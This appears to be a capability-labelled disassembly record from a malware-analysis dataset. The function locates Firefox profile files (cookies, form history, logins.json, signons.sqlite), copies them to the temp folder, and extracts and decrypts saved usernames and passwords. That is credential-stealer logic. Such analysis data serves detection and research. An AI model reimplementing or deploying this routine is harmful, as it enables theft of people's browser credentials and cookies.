Function at 0x40929a
Capabilities:
Copy file
Gather firefox profile information
Get common file path

Disassembly:
push 0xb20
mov eax, 0x4a1787
call fcn.0047ce8e
mov esi, ecx
mov dword [ebp - 0xa68], esi
mov eax, dword [ebp + 8]
xor ecx, ecx
push 7
mov dword [ebp - 0xa6c], eax
xor eax, eax
pop edx
mov dword [ebp - 0x89c], ecx
mov dword [ebp - 0x898], edx
mov word [ebp - 0x8ac], ax
mov dword [ebp - 4], ecx
mov dword [ebp - 0x854], ecx
mov dword [ebp - 0x850], edx
mov word [ebp - 0x864], ax
push ecx
xor ebx, ebx
lea ecx, [ebp - 0x8ac]
mov edi, 0x104
inc ebx
push edi
mov byte [ebp - 4], bl
call fcn.00404fc6
lea ecx, [ebp - 0x864]
cmp dword [ebp - 0x854], edi
jb 0x409318
push edi
call fcn.00404f60
jmp 0x409328
mov eax, edi
sub eax, dword [ebp - 0x854]
push 0
push eax
call fcn.00404fc6
cmp dword [ebp - 0x898], 8
lea eax, [ebp - 0x8ac]
push str.cookies.sqlite
cmovae eax, dword [ebp - 0x8ac]
push esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
cmp dword [ebp - 0x850], 8
lea eax, [ebp - 0x864]
push str.formhistory.sqlite
cmovae eax, dword [ebp - 0x864]
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineW]
push eax
call esi
cmp dword [ebp - 0x898], 8
lea ecx, [ebp - 0x8ac]
cmovae ecx, dword [ebp - 0x8ac]
call fcn.0040de9c
test al, al
je 0x409d7e
cmp dword [ebp - 0x850], 8
lea ecx, [ebp - 0x864]
cmovae ecx, dword [ebp - 0x864]
call fcn.0040de9c
test al, al
je 0x409d7e
push ecx
push ecx
lea eax, [ebp - 0x8c4]
push eax
lea ecx, [ebp - 0x8ac]
call fcn.004048bd
push eax
mov edx, str.localhostc_
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x87c]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0x8ac]
cmp ecx, eax
je 0x4093f5
mov byte [ebp - 0xa50], 0
push dword [ebp - 0xa50]
push eax
call fcn.00405064
lea ecx, [ebp - 0x87c]
call fcn.00404f32
lea ecx, [ebp - 0x8c4]
mov byte [ebp - 4], bl
call fcn.00404f32
push ecx
push ecx
lea eax, [ebp - 0x8c4]
push eax
lea ecx, [ebp - 0x864]
call fcn.004048bd
push eax
mov edx, str.localhostc_
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x87c]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0x864]
cmp ecx, eax
je 0x409455
mov byte [ebp - 0xa50], 0
push dword [ebp - 0xa50]
push eax
call fcn.00405064
lea ecx, [ebp - 0x87c]
call fcn.00404f32
lea ecx, [ebp - 0x8c4]
mov byte [ebp - 4], bl
call fcn.00404f32
push 9
pop edx
push 5
pop ecx
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0x8f4]
call fcn.004105fe
push 9
pop edx
push 5
pop ecx
mov byte [ebp - 4], 4
call fcn.0040df4e
mov edx, eax
lea ecx, [ebp - 0x8dc]
call fcn.004105fe
lea eax, [ebp - 0x21c]
mov byte [ebp - 4], 5
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp dword [ebp - 0x8e0], 8
lea eax, [ebp - 0x8f4]
cmovae eax, dword [ebp - 0x8f4]
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x62c]
push eax
call esi
cmp dword [ebp - 0x8c8], 8
lea eax, [ebp - 0x8dc]
cmovae eax, dword [ebp - 0x8dc]
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x424]
push eax
call esi
cmp dword [ebp - 0x898], 8
lea ecx, [ebp - 0x62c]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x8ac]
cmovae eax, dword [ebp - 0x8ac]
push 0
push ecx
push eax
call esi
cmp dword [ebp - 0x850], 8
lea ecx, [ebp - 0x424]
push 0
lea eax, [ebp - 0x864]
cmovae eax, dword [ebp - 0x864]
push ecx
push eax
call esi
push ecx
push ecx
lea ecx, [ebp - 0xb2c]
call fcn.004041e9
lea ecx, [ebp - 0x424]
mov byte [ebp - 4], 6
call fcn.00408fd7
lea edx, [ebp - 0xb2c]
lea ecx, [ebp - 0x62c]
call fcn.004090af
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0xb2c]
call fcn.00404140
lea ecx, [ebp - 0x87c]
mov esi, dword [eax + 0x10]
call fcn.0040508d
test esi, esi
je 0x409612
push dword [ebp - 0xa6c]
lea eax, [ebp - 0x834]
push str.Mozilla_Firefox
push str._Cookies_s__s.txt
push edi
push eax
call fcn.00401086
add esp, 0x14
lea eax, [ebp - 0x8c4]
lea ecx, [ebp - 0xb2c]
push eax
call fcn.00404140
mov esi, eax
lea eax, [ebp - 0x87c]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0xb2c]
call fcn.00404140
mov byte [ebp - 4], 8
cmp dword [eax + 0x14], 0x10
jb 0x4095eb
mov eax, dword [eax]
push dword [esi + 0x10]
lea edx, [ebp - 0x834]
push eax
call fcn.004660ee
pop ecx
pop ecx
lea ecx, [ebp - 0x87c]
call fcn.0040508d
lea ecx, [ebp - 0x8c4]
call fcn.0040508d
push 7
xor ecx, ecx
xor eax, eax
pop edx
mov dword [ebp - 0x884], ecx
mov dword [ebp - 0x880], edx
mov word [ebp - 0x894], ax
mov dword [ebp - 0x83c], ecx
mov dword [ebp - 0x838], edx
mov word [ebp - 0x84c], ax
push ecx
push edi
lea ecx, [ebp - 0x894]
mov byte [ebp - 4], 0xa
call fcn.00404fc6
lea ecx, [ebp - 0x84c]
cmp dword [ebp - 0x83c], edi
jb 0x409666
push edi
call fcn.00404f60
jmp 0x409674
sub edi, dword [ebp - 0x83c]
push 0
push edi
call fcn.00404fc6
cmp dword [ebp - 0x880], 8
lea eax, [ebp - 0x894]
mov esi, dword [ebp - 0xa68]
cmovae eax, dword [ebp - 0x894]
mov edi, dword [sym.imp.SHLWAPI.dll_PathCombineW]
push str.logins.json
push esi
push eax
call edi
cmp dword [ebp - 0x838], 8
lea eax, [ebp - 0x84c]
push str.signons.sqlite
cmovae eax, dword [ebp - 0x84c]
push esi
push eax
call edi
push ecx
push ecx
lea eax, [ebp - 0x8c4]
push eax
lea ecx, [ebp - 0x894]
call fcn.004048bd
mov edi, str.localhostc_
mov byte [ebp - 4], 0xb
push eax
mov edx, edi
lea ecx, [ebp - 0x87c]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0x894]
cmp ecx, eax
je 0x409703
mov byte [ebp - 0xa50], 0
push dword [ebp - 0xa50]
push eax
call fcn.00405064
lea ecx, [ebp - 0x87c]
call fcn.00404f32
lea ecx, [ebp - 0x8c4]
mov byte [ebp - 4], 0xa
call fcn.00404f32
push ecx
push ecx
lea eax, [ebp - 0x8c4]
push eax
lea ecx, [ebp - 0x84c]
call fcn.004048bd
push eax
mov edx, edi
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x87c]
call fcn.00405680
pop ecx
lea ecx, [ebp - 0x84c]
cmp ecx, eax
je 0x409761
mov byte [ebp - 0xa50], 0
push dword [ebp - 0xa50]
push eax
call fcn.00405064
lea ecx, [ebp - 0x87c]
call fcn.00404f32
lea ecx, [ebp - 0x8c4]
mov byte [ebp - 4], 0xa
call fcn.00404f32
mov ecx, esi
call fcn.00408d6e
mov esi, eax
mov dword [ebp - 0xa68], esi
test esi, esi
je 0x409d45
lea ecx, [ebp - 0xa4c]
call fcn.0040479d
mov byte [ebp - 4], 0xd
mov edi, esi
cmp byte [esi], 0
mov dword [ebp - 0xa58], esi
jne 0x4097b7
lea edi, [esi + 1]
mov dword [ebp - 0xa58], edi
cmp dword [ebp - 0x880], 8
lea ecx, [ebp - 0x894]
cmovae ecx, dword [ebp - 0x894]
call fcn.0046235b
test al, al
je 0x409a96
cmp dword [ebp - 0x880], 8
lea ecx, [ebp - 0x894]
lea edx, [ebp - 0x8bc]
cmovae ecx, dword [ebp - 0x894]
call fcn.00462371
test al, al
je 0x409a96
mov ecx, dword [ebp - 0x8bc]
call fcn.00411857
mov dword [ebp - 0xa64], eax
test eax, eax
je 0x409a86
mov ecx, eax
call fcn.004118c1
mov edx, str.logins
mov ecx, eax
call fcn.00411889
mov ecx, eax
call fcn.004118d9
mov ebx, dword [ebp - 0xa58]
mov ecx, eax
mov dword [ebp - 0xa60], ecx
xor edi, edi
mov dword [ebp - 0xa5c], edi
test ecx, ecx
je 0x409851
mov eax, dword [ecx + 8]
jmp 0x409853
xor eax, eax
cmp edi, eax
jae 0x409a72
mov edx, edi
call fcn.004118ae
mov ecx, eax
call fcn.004118c1
mov esi, eax
mov edx, str.hostname
mov ecx, esi
call fcn.00411889
mov ecx, eax
call fcn.004118f1
mov edx, str.encryptedUsername
mov dword [ebp - 0xa58], eax
mov ecx, esi
call fcn.00411889
mov ecx, eax
call fcn.004118f1
mov edx, str.encryptedPassword
mov dword [ebp - 0xa50], eax
mov ecx, esi
call fcn.00411889
mov ecx, eax
call fcn.004118f1
cmp dword [ebp - 0xa58], 0
mov esi, eax
je 0x409a66
mov eax, dword [ebp - 0xa50]
test eax, eax
je 0x409a66
test esi, esi
je 0x409a66
mov edx, ebx
mov ecx, eax
call fcn.00408bcb
mov edx, ebx
mov dword [ebp - 0xa54], eax
mov ecx, esi
call fcn.00408bcb
mov esi, eax
mov eax, dword [ebp - 0xa54]
mov dword [ebp - 0xa78], esi
test eax, eax
je 0x409a58
test esi, esi
je 0x409a58
mov ecx, eax
call fcn.0040def7
mov ecx, esi
mov dword [ebp - 0xa50], eax
call fcn.0040def7
lea ecx, [ebp - 0x99c]
mov dword [ebp - 0xa74], eax
call fcn.00402239
push dword [ebp - 0xa6c]
lea eax, [ebp - 0x93c]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0xa4c]
call fcn.00404752
mov edi, eax
push str.Mozilla_Firefox
lea eax, [ebp - 0x924]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0xa4c]
call fcn.00404752
mov esi, eax
push 0x20
mov ecx, esi
mov byte [ebp - 4], 0x10
call fcn.004052f4
push esi
lea ecx, [ebp - 0x87c]
call fcn.004049a8
push edi
lea edx, [ebp - 0x87c]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x90c]
call fcn.00405445
pop ecx
lea ecx, [ebp - 0x99c]
cmp ecx, eax
je 0x4099b8
mov byte [ebp - 0xa70], 0
push dword [ebp - 0xa70]
push eax
call fcn.00405229
lea ecx, [ebp - 0x90c]
call fcn.0040508d
lea ecx, [ebp - 0x87c]
call fcn.0040508d
lea ecx, [ebp - 0x924]
call fcn.0040508d
lea ecx, [ebp - 0x93c]
mov byte [ebp - 4], 0xe
call fcn.0040508d
push dword [ebp - 0xa58]
lea ecx, [ebp - 0x984]
call fcn.004050b3
mov esi, dword [ebp - 0xa50]
lea ecx, [ebp - 0x96c]
push esi
call fcn.004050b3
mov edi, dword [ebp - 0xa74]
lea ecx, [ebp - 0x954]
push edi
call fcn.004050b3
lea eax, [ebp - 0x99c]
push eax
call fcn.00404340
push esi
call fcn.00484888
pop ecx
push edi
call fcn.00484888
pop ecx
lea ecx, [ebp - 0x99c]
mov byte [ebp - 4], 0xd
call fcn.00402264
mov edi, dword [ebp - 0xa5c]
mov esi, dword [ebp - 0xa78]
mov eax, dword [ebp - 0xa54]
push eax
call fcn.00484888
pop ecx
push esi
call fcn.00484888
pop ecx
mov ecx, dword [ebp - 0xa60]
inc edi
jmp 0x409842
mov ecx, dword [ebp - 0xa64]
call fcn.00411909
mov esi, dword [ebp - 0xa68]
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x8bc]
call fcn.004623fe
jmp 0x409d33
cmp dword [ebp - 0x838], 8
lea ecx, [ebp - 0x84c]
cmovae ecx, dword [ebp - 0x84c]
call fcn.0046235b
test al, al
je 0x409d33
cmp dword [ebp - 0x838], 8
lea ecx, [ebp - 0xa50]
lea eax, [ebp - 0x84c]
cmovae eax, dword [ebp - 0x84c]
push ecx
push eax
call fcn.00461af2
pop ecx
pop ecx
test eax, eax
jne 0x409d33
mov ecx, dword [ebp - 0xa50]
mov edx, str.SELECT_formSubmitURL__encryptedUsername__encryptedPassword_FROM_moz_logins_
push eax
lea eax, [ebp - 0xa54]
push eax
push 0
push ebx
push 0xffffffffffffffff
call fcn.0044bce5
add esp, 0x14
push dword [ebp - 0xa54]
call fcn.0042d1f3
pop ecx
cmp eax, 0x64
jne 0x409d1a
push 0
push dword [ebp - 0xa54]
call fcn.0042d672
push ebx
push dword [ebp - 0xa54]
mov esi, eax
mov dword [ebp - 0xa74], esi
call fcn.0042d672
push 2
push dword [ebp - 0xa54]
mov dword [ebp - 0xa64], eax
call fcn.0042d672
add esp, 0x18
mov ecx, eax
mov dword [ebp - 0xa60], ecx
test esi, esi
je 0x409cf9
mov eax, dword [ebp - 0xa64]
test eax, eax
je 0x409cf9
test ecx, ecx
je 0x409cf9
mov edx, edi
mov ecx, eax
call fcn.00408bcb
mov ecx, dword [ebp - 0xa60]
mov edx, edi
mov dword [ebp - 0xa5c], eax
call fcn.00408bcb
mov ecx, dword [ebp - 0xa5c]
mov esi, eax
mov dword [ebp - 0xa70], esi
call fcn.0040def7
mov ecx, esi
mov dword [ebp - 0xa64], eax
call fcn.0040def7
lea ecx, [ebp - 0x9fc]
mov dword [ebp - 0xa60], eax
call fcn.00402239
push dword [ebp - 0xa6c]
lea eax, [ebp - 0x90c]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0xa4c]
call fcn.00404752
mov edi, eax
push str.Mozilla_Firefox
lea eax, [ebp - 0x924]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0xa4c]
call fcn.00404752
mov esi, eax
push 0x20
mov ecx, esi
mov byte [ebp - 4], 0x14
call fcn.004052f4
push esi
lea ecx, [ebp - 0x87c]
call fcn.004049a8
push edi
lea edx, [ebp - 0x87c]
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x93c]
call fcn.00405445
pop ecx
lea ecx, [ebp - 0x9fc]
cmp ecx, eax
je 0x409c49
mov byte [ebp - 0xa78], 0
push dword [ebp - 0xa78]
push eax
call fcn.00405229
lea ecx, [ebp - 0x93c]
call fcn.0040508d
lea ecx, [ebp - 0x87c]
call fcn.0040508d
lea ecx, [ebp - 0x924]
call fcn.0040508d
lea ecx, [ebp - 0x90c]
mov byte [ebp - 4], 0x12
call fcn.0040508d
push dword [ebp - 0xa74]
lea ecx, [ebp - 0x9e4]
call fcn.004050b3
mov esi, dword [ebp - 0xa64]
lea ecx, [ebp - 0x9cc]
push esi
call fcn.004050b3
mov edi, dword [ebp - 0xa60]
lea ecx, [ebp - 0x9b4]
push edi
call fcn.004050b3
lea eax, [ebp - 0x9fc]
push eax
call fcn.00404340
push esi
call fcn.00484888
pop ecx
push edi
call fcn.00484888
mov eax, dword [ebp - 0xa5c]
pop ecx
test eax, eax
je 0x409cd9
push eax
call fcn.00484888
pop ecx
mov eax, dword [ebp - 0xa70]
test eax, eax
je 0x409cea
push eax
call fcn.00484888
pop ecx
lea ecx, [ebp - 0x9fc]
mov byte [ebp - 4], 0xd
call fcn.00402264
push dword [ebp - 0xa54]
call fcn.0042d1f3
mov edi, dword [ebp - 0xa58]
pop ecx
cmp eax, 0x64
je 0x409b17
mov esi, dword [ebp - 0xa68]
push dword [ebp - 0xa54]
call fcn.0042cb02
pop ecx
mov ecx, dword [ebp - 0xa50]
xor edx, edx
call fcn.00460405
push esi
call fcn.00484888
pop ecx
lea ecx, [ebp - 0xa4c]
call fcn.0040477b
lea ecx, [ebp - 0x84c]
call fcn.00404f32
lea ecx, [ebp - 0x894]
call fcn.00404f32
lea ecx, [ebp - 0xb2c]
call fcn.004024a2
lea ecx, [ebp - 0x8dc]
call fcn.00404f32
lea ecx, [ebp - 0x8f4]
call fcn.00404f32
jmp 0x409d80
xor bl, bl
lea ecx, [ebp - 0x864]
call fcn.00404f32
lea ecx, [ebp - 0x8ac]
call fcn.00404f32
mov al, bl
call fcn.0047ce49
ret